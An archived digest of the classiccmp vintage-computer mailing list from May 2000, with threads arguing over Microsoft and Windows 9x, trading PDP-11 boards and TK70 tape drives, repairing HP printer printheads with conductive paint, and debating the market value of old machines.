Date: Sun Feb 27 18:52:36 2005 Subject: I wrote 'Nuke Redmond' References: <200005060608.CAA08063@lexington.ioa.net> <000701bfb76e$b7ab36c0$0400c0a8@winbook> <20000506123630.A365@dbit.dbit.com> Message-ID: <003d01bfb7b4$17d207a0$0400c0a8@winbook> Please see embedded comment(s) below. Dick ----- Original Message ----- From: John Wilson To: Sent: Saturday, May 06, 2000 10:36 AM Subject: Re: I wrote 'Nuke Redmond' > On Sat, May 06, 2000 at 09:21:09AM -0600, Richard Erlacher wrote: > > I have to agree that I like > > the Microsoft products, and that's because, unlike the offerings of > > yesteryear, including those from Microsoft, the current generation does seem > > to work quite adequately to meet my requirements. > > Well that works out nicely for you, but for many of the rest of us, M$ > products are designed to solve problems we don't have, and totally fail > to address the problems we *do* have. It's designed for the drooling > masses *only*, it's absolutely not good for normal utility use by nerds. That's because use by nerds is seldom normal. > And even where there's overlap, the design decisions tend to be poor and > the implementation even worse. > You're right, it's not for nerds to play with, it's for normal everyday folks to use in doing useful work, not normally done by nerds. OTOH, there are systems, notably *NIX, intended for use by nerds and almost totally useless for useful work for a number of reasons. Keep in mind, however, that the Win9x stuff is written by nerds. That's why it does some things so awkwardly. These folks aren't required to do useful work with the tools they write. . . It's a shame, actually, and they should be required to work with it on a 1 MHz 386 with 8 MB ram and a 200 MB hard disk. Only after they've done a normal day's work should they be allowed to eat or go to the bathroom. > > I recently installed Win98SE in the hope that it would be more reliable > for web browsing than Win98 was (on my machine, W98 was very flakey about > connecting to the net, and the video driver ignored my settings and always > ran in 640x480x16 mode), but the stupid thing has already locked up the > machine several times while sitting totally idle. This is because you're not installing your video driver correctly. It often means you must delete the driver that appears in "Device Manager" before proceeding. This is often a problem when W9x knows about several versions of the same hardware. That's also why they refer to the common installation mode as "lug-n-pray." It defaults to the lowest common denominator. If you then install the driver precisely written for your version of the hardware in question, it will work fine. If you're off, even by one bit, your're stuck with the lowest common denominator, however. > I feel forced to point out that although the W9x isn't even near to being perfect, it's one heck of a lot better for the "average" home user than any version of *NIX or any other commercially offered OS. The half-day install for OS/2 (admittedly last attempted when OS/2 was new) would certainly discourage these "average" users. Moreover, Win9x wouldn't cost <$100 if it weren't for the fact that the "average" user buys a computer and the software he wants. Not only would Win9x not exist, but if it did exist in spite of the lack of home users, it would cost like VMS. The hardware would cost quite a bit more, too. > > ----- Original Message ----- > [ followed by all 115 lines of a message that you weren't directly replying to ] > > For chrissake!!!!! > > John Wilson > D Bit > From edick at idcomm.com Sat May 6 18:43:21 2000 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:36 2005 Subject: I wrote 'Nuke Redmond' References: <200005060608.CAA08063@lexington.ioa.net> Message-ID: <004501bfb7b4$df7d7280$0400c0a8@winbook> Frankly, I haven't seen anyone running around in circles, except for one fellow who'd indulged in some illegal chemical abuse, on fire or not, nor have I seen anyone's head explode since the war. Perhaps a conclusion could be drawn about the lax attitude people have toward recreational use of chemicals . . . I recognize that a significant number of recreational substance abusers write code for a living. Dick ----- Original Message ----- From: Mike Ford To: Sent: Saturday, May 06, 2000 12:35 PM Subject: Re: I wrote 'Nuke Redmond' > What amazes me still are the people who look out into the streets of real > world MS users and see people running wildly in circles on fire with > exploding heads, then declare that MS isn't so bad. Failure to understand > how and why MS has the market share that they do is also rather sad. What > comes to mind is the poor baby monkey given a surrogate mother made of wire > mesh that delivers strong electric shocks, yet the baby still clings to it. > I am sure it will be looked back on as a curious point in history. > > From pete at dunnington.u-net.com Sat May 6 18:37:36 2000 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:52:36 2005 Subject: HP calculator thermal printheads (HP82143, etc) In-Reply-To: technoid@cheta.net "Re: HP calculator thermal printheads (HP82143, etc)" (May 6, 11:54) References: <200005061559.LAA04228@lexington.ioa.net> Message-ID: <10005070037.ZM3617@indy.dunnington.u-net.com> On May 6, 11:54, technoid@cheta.net wrote: > In order to make fine traces with Nickel Print conductive paint I used > paper matches. Yeah, the kind you light your Camels with. > > Cut the base of the match off at a 45' angle. This gives you a nice point > and the paper holds enough paint to make a halfway decent brush. They are > only good for a trace or two so have a full pack handy. I find a good-quality No.2 artist's brush (not smaller) will have a very fine point and do an excellent job. > I've used tape to cover the traces but when you peel the tape up you peel > the traces with it. The scalpel approach works pretty well but leaves > ugly traces and is hard to do once the paint is dry. I use the matches > and the scalpel together in real-time so I'm scraping at wet paint. I perhaps have an advantage in that I learnt to retouch photographic negatives (and prints) with a scalpel and retouching brush. PCB traces are easy by comparision. You don't try to scratch through in one go; rather try to gradually pare down to the substrate. > >Ugh, that is exact same thing what I did many times in my retired > >compaq LTE 386s/20 on one of two keyboard cable. Is there a better > >quality kind than this conductive paint I got? Then name one! I don't know what kind you've got :-) The kind I use is silver-loaded, and seems to stick well, and work well. It's made in the U.K. -- Pete Peter Turnbull Dept. of Computer Science University of York From hallsf at alfredtech.edu Sat May 6 20:05:43 2000 From: hallsf at alfredtech.edu (Scott F. Hall) Date: Sun Feb 27 18:52:36 2005 Subject: sun.motherload References: Message-ID: <3914C167.988636E2@alfredtech.edu> Or best offer, I'm sure. angooddr@alfredtech.edu Aaron Christopher Finney wrote: > > $80 each sounds like quite a bit for these machines... From cmcmanis at mcmanis.com Sat May 6 19:18:47 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:52:36 2005 Subject: Swapmeet find References: Message-ID: <3914B667.AAC65CB6@mcmanis.com> That is quite a find Don! The tapes are interchangable if you bulk erase them first. I've got a bunch of TK50 marked tapes but very few TK70 marked tapes. Willing to trade! And no you can't just drop in the TK70, at least in the Q-bus Vaxen they take different controllers and the cable was a bit different. --Chuck Don Maslin wrote: > > At the local swap this morning I picked up a virgin TK70 streaming tape > drive. When I say virgin, I mean it is in the shipping carton, is still > sealed in an anti-static bag, includes the manual, and also that sheet > of 'stickies' to make the meaning of various lights and such meaningful > to those who do not understand English. > > In a discussion of COMPACTape II, it was stated that those tapes were > interchangeable with the earlier tapes in the TK50 drives. It was also > noted, as has been covered here several times, that if written to by a > TK50, the tape was readable by a TK70 but could not be written to by > a TK70. This is the first time I have heard that the use of the II > tapes in a TK50 was a factory authorized usage. Interesting! Perhaps > useful considering the scarcity of the older tapes. > > Question: Can a TK70 be used as a 'drop-in' replacement for a TK50 in > a VAXstation 2000? If so, I would assume that it would NOT record at > TK70 density. > > - don From cmcmanis at mcmanis.com Sat May 6 19:20:34 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:52:37 2005 Subject: Computer Value (was Re: value of RK05) References: Message-ID: <3914B6D2.F8AE1BB2@mcmanis.com> [Sorry if I screwed up the subject filters :-)] Several things are being confused here "value", "markets", and "courtesy" Older minicomputers definitely have intrinsic "value" these days, John certainly has sales on his books to indicate that, and we have Ebay showing us what one can expect. Sometimes Ebay and the world is inverted, for example on Ebay you can buy a MicroVAX 4000/60 bare for about $100. Off Ebay you will not find one for less than $250 (I've looked :-). If you find a PDP-8 somewhere you can probably offer less than $800 for it and get it, on Ebay you can't get it for less than $1000. This disparity comes from the condition that the "market" for minicomputers is not "rational." (my terms but I'll define them) A rational market is one in which all potential buyers have visibility to all potential sellers. Thus, buyer demand pushes prices up, seller competition pushes prices down. The net result is the "fair market value" for something. Rational markets exist when some external force constrains the buyers and sellers and information about the market is widespread. For example you can only trade stocks on a stock exchange, everyone knows that, and thus all buyers and sellers "meet" in a single market. Computers are not so fortunate, in an irrational market buyers are not aware of other sellers who might have lower prices so prices can be artificially "high", and sellers might not know of other buyers so prices can be artificially "low." Ebay is "irrational" in this definition. Fair enough? Then there is something else entirely, its called courtesy. (or "good will") Amongst like minded individuals, humans form communities, this is one and its common theme is 10+ year old computer technology. Within a community transactions take place and they have two components, "money" and "good will." If I give someone on the list a PDP-8 then no money has changed hands but hopefully a lot of good will has, perhaps that person will reciprocate at some later date by supplying something I could really use. "Friends" can and often do exchanges that are entirely good will based (even when there is money involved, as in "I'll buy lunch this time, you get it next time.") So if we want to characterize the social aspects of this we can define two poles. On one end we have a person with whom your transactions are all "good will", we will call that person your friend. On the other end we have a person with whom your transactions are all "money", we will call that person a vendor. There are friends and vendors on this list and some folks somewhere in the middle. It makes no sense to take issue with John if he wishes to transact his business in all cash. That makes him a pure vendor. And the nice thing about vendors is that you don't "owe" them anything after all and if you turn around and resell what you got for a huge profit then there is no issue. Just as it doesn't make sense to feel "sorry" for someone who gives away a minicomputer to someone who could appreciate it. There currency is less tangible but in the long run more valuable. Finally, as a caretaker of machines I do appreciate that some of my machines have "real" value, but I don't seem them as an investment. To a vendor the "value" out weighs the potential good will within those machines. There is no right answer, and more importantly everyone is a vendor sometimes and a friend at other times. Lets just see if we can keep as much of this hardware out of the shredder as possible ok? --Chuck From mrbill at mrbill.net Sat May 6 19:26:54 2000 From: mrbill at mrbill.net (Bill Bradford) Date: Sun Feb 27 18:52:37 2005 Subject: PDP-11 parts/cards available Message-ID: <20000506192654.W29395@mrbill.net> I've got the following assortment of PDP-11 boards and CPUs that have been sitting around for a couple of months; I'd like to see them go to a good home. Trades preferred, altho I'm not looking to get much out of these, just would like to see them being used somehow. Marked on handle: Other markings/desc: ----------------------------------------------- M7270 KD11-H LSI-11 CPU 18-bit M7270 KD11-H LSI-11 CPU 18-bit M7270 KD11-H LSI-11 CPU 18-bit M8186 KDF11-AA 11/23 single board with MMU M8186 KDF11-AA 11/23 single board with MMU M9400-YE REV11-C 240ohm terminator, cable connector M9401 (connected to M9400 with ribbon cable) M8013 RLV11 RL01 disk drive controller (1 of 2) M8014 RLV11 RL01 disk drive controller (2 of 2) I've got some other cards as well, but this is all I can find for now. If anybody's interested in these, please let me know. Bill -- +--------------------+-------------------+ | Bill Bradford | Austin, Texas | +--------------------+-------------------+ | mrbill@sunhelp.org | mrbill@mrbill.net | +--------------------+-------------------+ From lemay at cs.umn.edu Sat May 6 19:42:06 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:52:37 2005 Subject: sun.motherload In-Reply-To: <3914C167.988636E2@alfredtech.edu> from "Scott F. Hall" at "May 6, 2000 08:05:43 pm" Message-ID: <200005070042.TAA21909@caesar.cs.umn.edu> > Or best offer, I'm sure. angooddr@alfredtech.edu > > Aaron Christopher Finney wrote: > > > > $80 each sounds like quite a bit for these machines... > Put them out in the hallway. If the students dont get the clue, then put a sign up saying 'free - but must take off-campus'. Trust me, its the best way to avoid paying for someone to ship them to a recycling center, and then pay the fee to have the stuff recycled. Especially monitors. If you look at it the right way, what your objective really should be, is to avoid having to pay to dispose of hazardous waste... -Lawrence LeMay From mrbill at mrbill.net Sat May 6 19:47:57 2000 From: mrbill at mrbill.net (Bill Bradford) Date: Sun Feb 27 18:52:37 2005 Subject: PDP-11 parts/cards available In-Reply-To: <20000506192654.W29395@mrbill.net>; from mrbill@mrbill.net on Sat, May 06, 2000 at 07:26:54PM -0500 References: <20000506192654.W29395@mrbill.net> Message-ID: <20000506194757.Z29395@mrbill.net> On Sat, May 06, 2000 at 07:26:54PM -0500, Bill Bradford wrote: > M7270 KD11-H LSI-11 CPU 18-bit > M7270 KD11-H LSI-11 CPU 18-bit > M7270 KD11-H LSI-11 CPU 18-bit > M8186 KDF11-AA 11/23 single board with MMU > M8186 KDF11-AA 11/23 single board with MMU > M9400-YE REV11-C 240ohm terminator, cable connector > M9401 (connected to M9400 with ribbon cable) > M8013 RLV11 RL01 disk drive controller (1 of 2) > M8014 RLV11 RL01 disk drive controller (2 of 2) All of these are now spoken for, going to a very good home. (that was quick - before I even got this post back from the list!). Thanks. -- +--------------------+-------------------+ | Bill Bradford | Austin, Texas | +--------------------+-------------------+ | mrbill@sunhelp.org | mrbill@mrbill.net | +--------------------+-------------------+ From eric at brouhaha.com Sat May 6 19:58:37 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:52:37 2005 Subject: HP calculator thermal printheads (HP82143, etc) In-Reply-To: (ard@p850ug1.demon.co.uk) References: Message-ID: <20000507005837.24989.qmail@brouhaha.com> > The 82143 is also about the least valuable unit to use a suitable > printhead, so there's little point in buying some other unit (like an > 82162) to strip for parts. And non-working 82143s (etc) invariably have > printhead problems :-( I'm willing to buy non-working HP 82143A printers, if anyone has extras. From healyzh at aracnet.com Sat May 6 20:05:41 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:52:37 2005 Subject: Swapmeet find In-Reply-To: References: <200005062200.PAA04595@daemonweed.reanimators.org> Message-ID: >Question: Can a TK70 be used as a 'drop-in' replacement for a TK50 in >a VAXstation 2000? If so, I would assume that it would NOT record at >TK70 density. > > - don I'm afraid not, you need a different controller for a TK70, and you don't have the option with a VS2000. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From pechter at pechter.dyndns.org Sat May 6 20:10:23 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:52:37 2005 Subject: [KULUA] Nightline (fwd) In-Reply-To: <20000505155912.C30766@dbit.dbit.com> from John Wilson at "May 5, 2000 03:59:12 pm" Message-ID: <200005070110.VAA07388@bg-tc-ppp670.monmouth.com> > It's too bad the net has turned into such an appliance. In the old days, > each site often implemented their own TCP/IP stack and SMTP/FTP/etc. servers > from scratch, so even if they had security flaws they weren't well-known. > Returning to that might have some advantages ... I know someone who munged > in a fake version banner in his wu.ftpd just so the crackers would be more > likely to leave him alone, worth a shot! > > John Wilson > D Bit > > You mean like the following... BTW -- if FreeVMS ever comes out in intel this box will run it. Right now it's just FreeBSD 4.0-STABLE. telnet i4got Trying 199.245.130.131... Connected to i4got.pechter.dyndns.org. Escape character is '^]'. FreeVMS 0.9 (i4got.pechter.dyndns.org) (ttyp2) Username: Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From stanp at storm.ca Sat May 6 20:14:19 2000 From: stanp at storm.ca (Stan Pietkiewicz) Date: Sun Feb 27 18:52:37 2005 Subject: the latest virus References: Message-ID: <3914C36B.A0BCB594@storm.ca> Gary Hildebrand wrote: > Hello, friends > > the pranksters strike again . . . > > Makes me appreciate havimg my Amiga. > > Gary Hildebrand Don't laugh... I still appreciate my AMD 5x86-133 running msdos 6.22 and WfWg 3.11..... Defiinitely and IE-free zone!!!! :-}) Stan From jpero at cgocable.net Sat May 6 16:37:57 2000 From: jpero at cgocable.net (jpero@cgocable.net) Date: Sun Feb 27 18:52:37 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <003d01bfb7b4$17d207a0$0400c0a8@winbook> Message-ID: <200005070132.e471Wqr16115@admin.cgocable.net> > From: "Richard Erlacher" > To: > Subject: Re: I wrote 'Nuke Redmond' > Date: Sat, 6 May 2000 17:37:46 -0600 > Reply-to: classiccmp@classiccmp.org > Please see embedded comment(s) below. Ditto look at comments I made. Wizard > > Dick > ----- Original Message ----- > From: John Wilson > To: > Sent: Saturday, May 06, 2000 10:36 AM > Subject: Re: I wrote 'Nuke Redmond' snip > > > > > Well that works out nicely for you, but for many of the rest of us, M$ > > products are designed to solve problems we don't have, and totally fail > > to address the problems we *do* have. It's designed for the drooling > > masses *only*, it's absolutely not good for normal utility use by nerds. > > That's because use by nerds is seldom normal. Let me switch this comments around: Nerds usually know what they doing correctly with common sense. The people out in the wild usually breaks M$ stuff because it has too much ways to happen. Like Allison's comments about user space kept away from OSes and this limits the blowups if a typical user make an miss is spot on. Best devices are those very limited functions that does their intended functions and no more. Examples: electronic reminder and scheduler devices with personal data like birthdays, appts etc. Another one that would do very well are web surfer, i-opener, email devices such as Vtech w/modem built in and like for common users. What is missing is real innvoative user-interface (ala i-opener style) for office applications and hide the OS and be Untouchable. win9x is more suitable for users who should know bit more clueful with common sense to get help and not like "mmm, try this one?" like Mr Simpson would do and push a button. Boom! win9x, Unices, Vaxens, Linux is more of nerd's dormain and clueful users who know better to call for help first if some kind of problems becomes out of their depth understanding how to deal with it. I find NT more of configuring and using without enough understanding and things go bump in the night often, tons of BODs and kernel dumps. I find this takes full understanding how hardware interacts with this NT and use software drivers correctly to make sure it's reliable enough. Also doing configurations in software especially in networking stuff takes lot of understanding because I find reading the wood ludicious especially without looking at whole picture why OS or software barfed. Probs I find are: with hardware mis-configuration and shoddy installation, 4/10 of that in software or sloppily written drivers and/or software, 1/10th of that in true hardware failures flaking out and low quality hardware parts or wrong type used for given OS. > > I recently installed Win98SE in the hope that it would be more reliable > > for web browsing than Win98 was (on my machine, W98 was very flakey about > > connecting to the net, and the video driver ignored my settings and always > > ran in 640x480x16 mode), but the stupid thing has already locked up the > > machine several times while sitting totally idle. Check that "power management" and cooling, insure memory is good. Even top of 1 grand dollars Diagnostic stuff aka the best of world will not detect this. I know, because I fixed few times like this and had to rely on softwares and good working hardware to cause DUT to act up and alteratively turn off and on one settings in bios one at a time to flush out the problem. Had to do that on a motherboard using win9x and bunch of games, sound card. This problem finally solved it by swapping out pair of soldered 512K pipelined cache chips. When I turned off that faulty cache part in bios, everything went plum and sweet, got even better when CORRECT part got replaced. Even the unmanageable IRQs got shifted when I toggle certain parts in bios menu. Many didn't realize the power of managing this by this route. > This is because you're not installing your video driver correctly. It often > means you must delete the driver that appears in "Device Manager" before > proceeding. This is often a problem when W9x knows about several versions > of the same hardware. That's also why they refer to the common installation > mode as "lug-n-pray." It defaults to the lowest common denominator. If you > then install the driver precisely written for your version of the hardware > in question, it will work fine. If you're off, even by one bit, your're > stuck with the lowest common denominator, however. Any hardware drivers not just for video no matter what. Once in awhile drivers breaks or win 9x actually lost a soundcard, happened to me few times before and two programs didn't give any errors other than both refused to start which deepens the mystery till I check DM. > I feel forced to point out that although the W9x isn't even near to being > perfect, it's one heck of a lot better for the "average" home user than any > version of *NIX or any other commercially offered OS. The half-day install > for OS/2 (admittedly last attempted when OS/2 was new) would certainly > discourage these "average" users. Moreover, Win9x wouldn't cost <$100 if it > weren't for the fact that the "average" user buys a computer and the > software he wants. Not only would Win9x not exist, but if it did exist in > spite of the lack of home users, it would cost like VMS. The hardware would > cost quite a bit more, too. > @100 bux is upgrade version for any 9x always. Ones that is true version without buying a computer or certain items is over $300. And another way is to buy whole new system which is too much for me. That is why I'm angry at M$. And still running on 95a upgrade version. Wizard From jpero at cgocable.net Sat May 6 16:50:16 2000 From: jpero at cgocable.net (jpero@cgocable.net) Date: Sun Feb 27 18:52:37 2005 Subject: HP calculator thermal printheads (HP82143, etc) In-Reply-To: <10005070037.ZM3617@indy.dunnington.u-net.com> References: technoid@cheta.net "Re: HP calculator thermal printheads (HP82143, etc)" (May 6, 11:54) Message-ID: <200005070145.e471jAr21459@admin.cgocable.net> > > >Ugh, that is exact same thing what I did many times in my retired > > >compaq LTE 386s/20 on one of two keyboard cable. Is there a better > > >quality kind than this conductive paint I got? Then name one! > > I don't know what kind you've got :-) The kind I use is silver-loaded, and > seems to stick well, and work well. It's made in the U.K. To all curious who wondered I had bad time with this stuff. This one is "Circuit Works, conductive pen" by Planned products. Address: 303 Potrero Street Suite 53 Santa Cruz, CA 96060 The address might be wrong bec of hard to read it bec of label aging. And that was from JDR. Wizard > -- > > Pete Peter Turnbull > Dept. of Computer Science > University of York From allisonp at world.std.com Sat May 6 19:52:18 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:37 2005 Subject: Equipment Available Message-ID: <00f001bfb7bf$076613b0$7464c0d0@ajp166> If you still have it, I'd love to have this one. >Programming in Assembly Language: Macro-11, Sowell Allison From jpero at cgocable.net Sat May 6 17:00:50 2000 From: jpero at cgocable.net (jpero@cgocable.net) Date: Sun Feb 27 18:52:37 2005 Subject: the latest virus In-Reply-To: <3914C36B.A0BCB594@storm.ca> Message-ID: <200005070155.e471tir26835@admin.cgocable.net> > Date: Sat, 06 May 2000 21:14:19 -0400 > From: Stan Pietkiewicz > To: classiccmp@classiccmp.org > Subject: Re: the latest virus > Reply-to: classiccmp@classiccmp.org > > Hello, friends > > > > the pranksters strike again . . . > > > > Makes me appreciate havimg my Amiga. > > > > Gary Hildebrand > > Don't laugh... I still appreciate my AMD 5x86-133 running msdos 6.22 and > WfWg 3.11..... Defiinitely and IE-free zone!!!! :-}) > > Stan Stan, anyone even you with that same configuration can still and will get hit by a bug if downloaded and run by mistake. That is why I like pegasus mail more especially for less clueful people. Yet powerful enough and sensible wordings but users can understand what it does. I got lost or confused because of incorrect wording, meanings and how one route through maze of menus in certain ways and in proper order in for example Outbox. Peagasus let you do it in any order and different ways. Cheers Wizard From jfoust at threedee.com Sat May 6 21:31:59 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:52:37 2005 Subject: Computer Value (was Re: value of RK05) In-Reply-To: <3914B6D2.F8AE1BB2@mcmanis.com> References: Message-ID: <4.3.0.20000506212759.0197e950@pc> Apart from people freaking out about eBay, I think the classic computer hobby is doing fine. More people than ever realize that there are weirdos out there who'd be glad to pick up their old computers. The Net is screwing up all sorts of markets. For example, I'm doing some consulting for a pottery business. They're not small, roughly $8M a year. They have thousands of dealers who buy at 50% of retail and sell in their real-world shops. One of them has figured out eBay. They buy at dealer price, put the item on eBay and generally get retail price *or more*. That's like taking $1 today and turning it into $2 a week from now, and being able to do it again and again. RK05s? I bought five RL02 disk packs the other day for $2 each. I see they're going for $30 on eBay. I'll use the proceeds to fund other bad habits. - John From mikeford at socal.rr.com Sat May 6 21:44:29 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:37 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <20000506185934.48228.qmail@hotmail.com> Message-ID: >There's only one reason that MS has the market share they do, and it's quite >simple: IBM. It works like this; 1)IBM comes up with the PC. 2)Asks MS to MS has the market share it has by targeting competition and ruthless use of its monopoly powers, seconded only by a long string of defective products requiring expensive software updates that fueled a marketing warchest unprecidented in human history. Paul Allen said it himself, "nobody ever guessed the obscene profits possible from upgrades." This is the sickest aspect of the whole computer industry, ALL of the companies that made fairly good reliable products went under from the flood of dollars the BAD heavily marketed software generated via updates. Its a bleeping cynics playground. From mikeford at socal.rr.com Sat May 6 21:30:49 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:37 2005 Subject: value of RK05 In-Reply-To: References: from "Mike Ford" at May 6, 0 02:41:44 am Message-ID: >> value. So many people are willing to buy junk and "hope" it works, or that >> they can fix it, it just isn't funny. There is also a BIG difference in the > >Actually, I am more than happy to buy 'junk' (meaning non-working, but >repairable hardware). > >Fixing the units is half the fun IMHO. And I mean really fixing them by >tracking down the faults and replacing whatever's failed. Not kludging >about until it almost works. Sure talk the talk, but when it comes to a little microscopic aluminum welding its a different tune. ;) From mikeford at socal.rr.com Sat May 6 22:01:39 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:37 2005 Subject: "Investment Grade" Classic Computers In-Reply-To: <20000506.140254.-4053137.0.jeff.kaneko@juno.com> Message-ID: >I'm faced with a dilemma, and I'm polling for opinions. > >The dilemma is this: A friend of mine has such an >"Investment Grade" machine; and he wants to sell it to >the highest bidder . Now I'm faced with two As much as I like everybody on this list, and would be willing to do many things for them both individually and collectively, you have an obligation to your friend that is stronger, and I think requires you to both observe his wishes and attempt to guide him in the direction of his own enlightened self interest. If you think selling an item at a moderate price to a list member is somehow more satisfying than selling it on the open market at the full fair price, I respectively disagree. When I sell on the open market, for the most part I enable someones dream at a price they never dreamed of being so low. When I sell at a reduced price to a list member, they are handed a part they dreamed of hunting and finding much cheaper. There are a number of things I would really like to find, paying perhaps as much as $50 for a single Mac card (yeah I know, just peanuts to you high rollers), but the ONLY satisfying way I will ever get one is to dig it out of some box and haggle my way from $5 down to $3. Who wants to go hunting cows at a dairy? Go sell that cow at the auction. From wmsmith at earthlink.net Sat May 6 22:43:01 2000 From: wmsmith at earthlink.net (Wayne M. Smith) Date: Sun Feb 27 18:52:37 2005 Subject: I wrote 'Nuke Redmond' References: Message-ID: <00ae01bfb7d6$588bbb20$9d9fb2d1@Smith.earthlink.net> > MS has the market share it has by targeting competition and ruthless use of > its monopoly powers That is backwards. The law, and common sense, requires that you already have to have significant market share to have monopoly power. Monopoly power is the ability to control prices and exclude competition by virtue of monopoly power. To me, the question is, how did MS achieve that power in the first place. There is no doubt that once they had the power they abused it -- that is what the DOJ's case is all about. But it seems to me that they must have done something "right" to get the power in the first place, such as Windows 3.1 or some such. When you don't have monopoly power, targeting competition is not only not illiegal, it's what the free market encourages because that's what USUALLY benefits consumers in the long run. From whdawson at mlynk.com Sat May 6 22:57:28 2000 From: whdawson at mlynk.com (Bill Dawson) Date: Sun Feb 27 18:52:37 2005 Subject: Couple of cool HP 110/150 finds In-Reply-To: <200005062200.PAA04595@daemonweed.reanimators.org> Message-ID: <001b01bfb7d8$5ca06e20$a5e3dfd0@cobweb.net> -> Joe wrote: -> > >HP Series 100 Communicator Volumes 7-12 (very cool) -> > -> > Now those are unusual. I have two volumes but I've never been able to -> > find any more of them. Where did you find them? Joe, Since you are a member of this list also, perhaps you will see this message and contact me about the purchase I made of the Millennium MicroSystem Analyzer from you on eBay on April 9th. I haven't heard from you since April 10th when you wrote "it will probably be Thursday before I can get back in touch with you." This was concerning the cost of shipping. I haven't heard from you and I've been trying to contact you . Perhaps my emails are not reaching you? To all, FYI I have sent Joe several emails since the 19th of April, with no replies forthcoming, and I even called his home the other day and left my phone number and a message on his answering machine for him to please contact me, but there has been no response from him yet. Is he sick or in ill health? Does anyone know? Sorry to impose upon the group and the bandwidth with this, but I need Joe to get in touch with me, and since he posts to this group also I figured I give this a try. Bill whdawson@mlynk.com -> HP used to ship the current "Series 100 Communicator" in the box with -> your new Series 100 (i.e. 120, presumably 125, and 150) computer, or -> more likely in the box with its keyboard. I don't remember seeing -> them with 110s or Portable Pluses, but that could just be my defective -> memory. -> -> If you liked it and wanted more you had to buy a subscription. Given -> that it was mostly filled with new-product announcements for stuff -> that we either wouldn't use or could ask our sales rep about, and -> usage tips that weren't especially non-obvious, we didn't bother. -> -> -Frank McConnell -> From allisonp at world.std.com Sat May 6 20:16:09 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:37 2005 Subject: I wrote 'Nuke Redmond' Message-ID: <011b01bfb7d1$ad5f1200$7464c0d0@ajp166> >win9x, Unices, Vaxens, Linux is more of nerd's dormain and clueful >users who know better to call for help first if some kind of problems >becomes out of their depth understanding how to deal with it. This left me mystified. VAX/vms running DECwindows is a good interface without give away the farm for the user. It's user proof. The system admin part is definately not for he average user but then neither is linux, unix or NT. Its possible to build a OS that has the needed protections that seem to be missing from Win9x. Allison From allisonp at world.std.com Sat May 6 20:23:19 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:37 2005 Subject: the latest virus Message-ID: <011c01bfb7d1$ae31f260$7464c0d0@ajp166> >Don't laugh... I still appreciate my AMD 5x86-133 running msdos 6.22 and >WfWg 3.11..... Defiinitely and IE-free zone!!!! :-}) > >Stan Thats a fast system. When you consider that by just running IE4.01 instead of 5.0 you've reduced you footprint and exposure it's something. Also if your apps don't need it Pulling VBA300.dll helps as thats needed to execute VB scripts. You could also pull IE and use Netscape, that works well. Then again you could run dos6.22 and Newdeal software (www.newdeal.com) and get all the stuff without the disk footprint. Allison From allisonp at world.std.com Sat May 6 20:31:21 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:37 2005 Subject: [KULUA] Nightline (fwd) Message-ID: <011e01bfb7d1$afb49ac0$7464c0d0@ajp166> You mean like the following... VMS standard greeting: Welcome to VAX/VMS on node Piper Morphed to: Piper, no trespassing. Abusers will be persecuted! >BTW -- if FreeVMS ever comes out in intel this box will run it. I keep waiting. In the meantime I have a VS2000 and 3100s thats smaller than most PCs. >bpechter@monmouth.com | Microsoft: Where do you want to go today? > | Linux: Where do you want to go tomorrow? > | BSD: Are you guys coming, or what? Add VMS: Waiting! Allison From spc at armigeron.com Sat May 6 23:02:42 2000 From: spc at armigeron.com (Sean 'Captain Napalm' Conner) Date: Sun Feb 27 18:52:37 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <00ae01bfb7d6$588bbb20$9d9fb2d1@Smith.earthlink.net> from "Wayne M. Smith" at May 06, 2000 08:43:01 PM Message-ID: <200005070402.AAA24938@armigeron.com> It was thus said that the Great Wayne M. Smith once stated: > > > MS has the market share it has by targeting > competition and ruthless use of > > its monopoly powers > > That is backwards. The law, and common sense, requires > that you already have to have significant market share > to have monopoly power. Monopoly power is the ability > to control prices and exclude competition by virtue of > monopoly power. To me, the question is, how did MS > achieve that power in the first place. There is no > doubt that once they had the power they abused it -- > that is what the DOJ's case is all about. But it seems > to me that they must have done something "right" to get > the power in the first place, such as Windows 3.1 or > some such. When you don't have monopoly power, > targeting competition is not only not illiegal, it's > what the free market encourages because that's what > USUALLY benefits consumers in the long run. First and foremost, William Henry Gates, III is a masterful tactician at business, whether you agree with his tatics or not. At 19 (in 1975) he was able to see that the money wasn't going to be in hardware but software. And he was able to negotiate his way out of a rather bad contract with MITS in order to license BASIC to other computer manufacturers. In fact, most of the early products from Microsoft were languages and it was for this reason that IBM approached Microsoft---for BASIC and other languages for their new machine. When IBM returned and asked Microsoft for an operating system, William Henry Gates, III saw an opportunity to license (at first) an operating system from Seattle Computer Products (I think that's the name) with a non-exclusive, non-royalty license. What gave Microsoft their power were three things---I-B-M. When IBM entered the PC market, it not only legitimized microcomputers, it practically spelled the doom for the smaller PC companies because at that time, nobody was fired for buying IBM. Microsoft however, not only entered a non-exclusive license 